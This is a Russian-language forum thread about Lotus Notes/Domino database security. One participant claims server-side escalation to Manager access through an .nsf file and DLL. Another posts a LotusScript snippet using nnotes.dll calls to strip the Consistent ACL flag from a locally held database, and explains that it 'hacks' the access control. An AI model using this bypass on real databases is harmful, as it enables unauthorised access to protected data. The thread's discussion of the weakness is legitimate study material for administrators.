• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Безопасность *.nsf

  • Автор темы Автор темы nor
  • Дата начала Дата начала
Статус
Закрыто для дальнейших ответов.
N

nor

Используя nsf c определенной dll и минуя ACL бд я добавил группу типа "Person group" c уровнем доступа "Manager" и со всеми возможными ролями в тех бд, в acl которых моя учетная запись никоим образом не была прописана, т.е. в которых по умолчанию (- Default - ) имел доступ "No Access". В тех же ACL бд, в которых эта группа уже существовала, ее уровень доступа также был повышен до уровня "Manager". Таким образом в обход ACL я получил доступ мэнэджера в тем бд, к которым прежде я доступа не имел либо имел ограниченный доступ.

Как такое может быть?
 
А как добавил-то? на сервер вошел и добавил? или с рабочего места под ограниченными правами как-то ухитрился?
 
Через другую учетку(серверную) либо локальную базу т.е. евно не указан доступ но лакальный манагер если не стоит ECL
 
Используя nsf c определенной dll и минуя ACL бд я добавил группу типа "Person group" c уровнем доступа "Manager" и со всеми возможными ролями в тех бд, в acl которых моя учетная запись никоим образом не была прописана, т.е. в которых по умолчанию (- Default - ) имел доступ "No Access". В тех же ACL бд, в которых эта группа уже существовала, ее уровень доступа также был повышен до уровня "Manager". Таким образом в обход ACL я получил доступ мэнэджера в тем бд, к которым прежде я доступа не имел либо имел ограниченный доступ.
Как такое может быть?
Если у злоумышленника есть физический доступ к серверу, вся безопасность идет лесом (тут Lotus мало отличается от прочих клиент-серверов, разве только наличием встроенного шифрования). Даже ДиЛяЛьки подменять не надо: просто открыть базу "локально" и вписать в ACL все, что угодно
 
Для: Constantin A Chervonenko

Нет, ты не прав. Я даже не понимаю, что ты имеешь в виду, потому как если у тебя нет доступа к бд, то и локально ее нельзя открыть - acl работает и на локальных бд и их репликах. Возможно тебе следует пояснить, что ты хотел сказать :) .
 
Для: Constantin A Chervonenko

Нет, ты не прав. Я даже не понимаю, что ты имеешь в виду, потому как если у тебя нет доступа к бд, то и локально ее нельзя открыть - acl работает и на локальных бд и их репликах. Возможно тебе следует пояснить, что ты хотел сказать :) .
Локально ACL НЕ работает (читай первоисточники). Или ты имеешь в виду флажок Consist.ACL? Так для локальной базы это фиговый листок (счищается 16-чным редактором), он только эмулирует ACL. Его ценность - возможность локальной отладки приложения
 
Локально ACL НЕ работает (читай первоисточники). Или ты имеешь в виду флажок Consist.ACL? Так для локальной базы это фиговый листок (счищается 16-чным редактором), он только эмулирует ACL. Его ценность - возможность локальной отладки приложения

:( Правда? Возможно я не прав.
А при помощи 16-ого редактора тебе удавалось обойти локальный ACL? Буду крайне признателен за соответствующие скриншоты и короткие пояснения данного процесса взлома в этой ветке форума. Я думаю, об этом будет интерсно узнать не только мне, но и многочисленным администраторам и девелоперам платформы Notes/Domino.
Жду с нетерпением признаться в своей некомпетентности и незнании первоисточников.
 
:( Правда? Возможно я не прав.
А при помощи 16-ого редактора тебе удавалось обойти локальный ACL?
И даже без 16-чного, лишь бы база была доступна локально:

Declare Function NSFDbOpen Lib "nnotes.dll" (Byval pathName As String, hDB As Long) As Integer
Declare Function NSFDbReadACL Lib "nnotes.dll" (Byval hDB As Long, hACL As Long) As Integer
Declare Function ACLGetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function ACLSetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function NSFDbStoreACL Lib "nnotes.dll" (Byval hDB As Long, Byval hACL As Long, objectID As Long, method As Long) As Integer
Declare Function NSFDbClose Lib "nnotes.dll" (Byval hDB As Long) As Integer
Const ACL_UNIFORM_ACCESS = 1

Dim filePath As String
Dim result As Integer
Dim hDB As Long
Dim hACL As Long
Dim flags As Long

result = NSFDbOpen(filePath, hDB)
result = NSFDbReadACL(hDB, hACL)
result = ACLGetFlags(hACL, flags)
If flags And ACL_UNIFORM_ACCESS Then
flags = flags Xor ACL_UNIFORM_ACCESS
result = ACLSetFlags(hACL, flags)
result = NSFDbStoreACL(hDB, hACL, 0, 0)
Else
Print "The flag is not set. Nothing changed."
End If
result = NSFDbClose(hDB)
 
hDB - ?
hACL - ?
dwFlags - ?
Я не понимаю эти значения точно или не уверен, что правильно понимаю, потому не могу проверить код.
Что они такое и каковы их возможные значения - к примеру?
И вообще, что конкретно делает данный скрипт - можно получить комментарии, чтобы не гадать?
 
Вот тут описано частично, на англицком
 
hDB - ?
hACL - ?
dwFlags - ?
Я не понимаю эти значения точно или не уверен, что правильно понимаю, потому не могу проверить код.
Что они такое и каковы их возможные значения - к примеру?
И вообще, что конкретно делает данный скрипт - можно получить комментарии, чтобы не гадать?
NSFDbOpen(filePath, hDB) - открывает заданную базу, возвращая её хендл в hDB
NSFDbReadACL(hDB, hACL) - .. её ACL - в hACL
ACLGetFlags(hACL, flags) - читает флажки в переменную flags и т.д..

Скрипт - "взламывает" ACL. Весь код - из тех самых первоисточников
 
Для: Constantin A Chervonenko

Ладно, что я не так делаю?

Вот код:

Код:
Declare Function NSFDbOpen Lib "nnotes.dll" (Byval pathName As String, hDB As Long) As Integer
Declare Function NSFDbReadACL Lib "nnotes.dll" (Byval hDB As Long, hACL As Long) As Integer
Declare Function ACLGetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function ACLSetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function NSFDbStoreACL Lib "nnotes.dll" (Byval hDB As Long, Byval hACL As Long, objectID As Long, method As Long) As Integer
Declare Function NSFDbClose Lib "nnotes.dll" (Byval hDB As Long) As Integer


Const ACL_UNIFORM_ACCESS = 1

Dim filePath As String
Dim result As Integer
Dim hDB As Long
Dim hACL As Long
Dim flags As Long

flePath = "C:\Lotus7\notes\data\testacl.nsf"
result = NSFDbOpen(filePath, hDB)
result = NSFDbReadACL(hDB, hACL)
result = ACLGetFlags(hACL, flags)
If flags And ACL_UNIFORM_ACCESS Then
flags = flags Xor ACL_UNIFORM_ACCESS
result = ACLSetFlags(hACL, flags)
result = NSFDbStoreACL(hDB, hACL, 0, 0)
Else
Print "The flag is not set. Nothing changed."
End If
result = NSFDbClose(hDB)

C:\Lotus7\notes\data\testacl.nsf - тестовая база, к которой я не имею доступа и стоит в которой Consist.ACL. У меня печатает "The flag is not set. Nothing changed." Так каким образом этот код что-то "взламывает"? Или я в чем-то ошибся? Или это очередная пустая болтовня?
 
Да, у меня тоже он заработал. Я признаю, что я был не прав и плохо знаю первоисточники. Спасибо Constantin A Chervonenko за разъяснение вопроса.
 
Всегда пожалуйста. Там главное требование - локальный (физический) доступ. Или тебе удалось сломать ACL на сервере?? Признавайся, мы тебя не выдадим :)

Локально только...

Вот та nsf, про которую я говорил - позволяет "взламывать" acl на сервере, см. описание выше.
 

Вложения

Статус
Закрыто для дальнейших ответов.
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы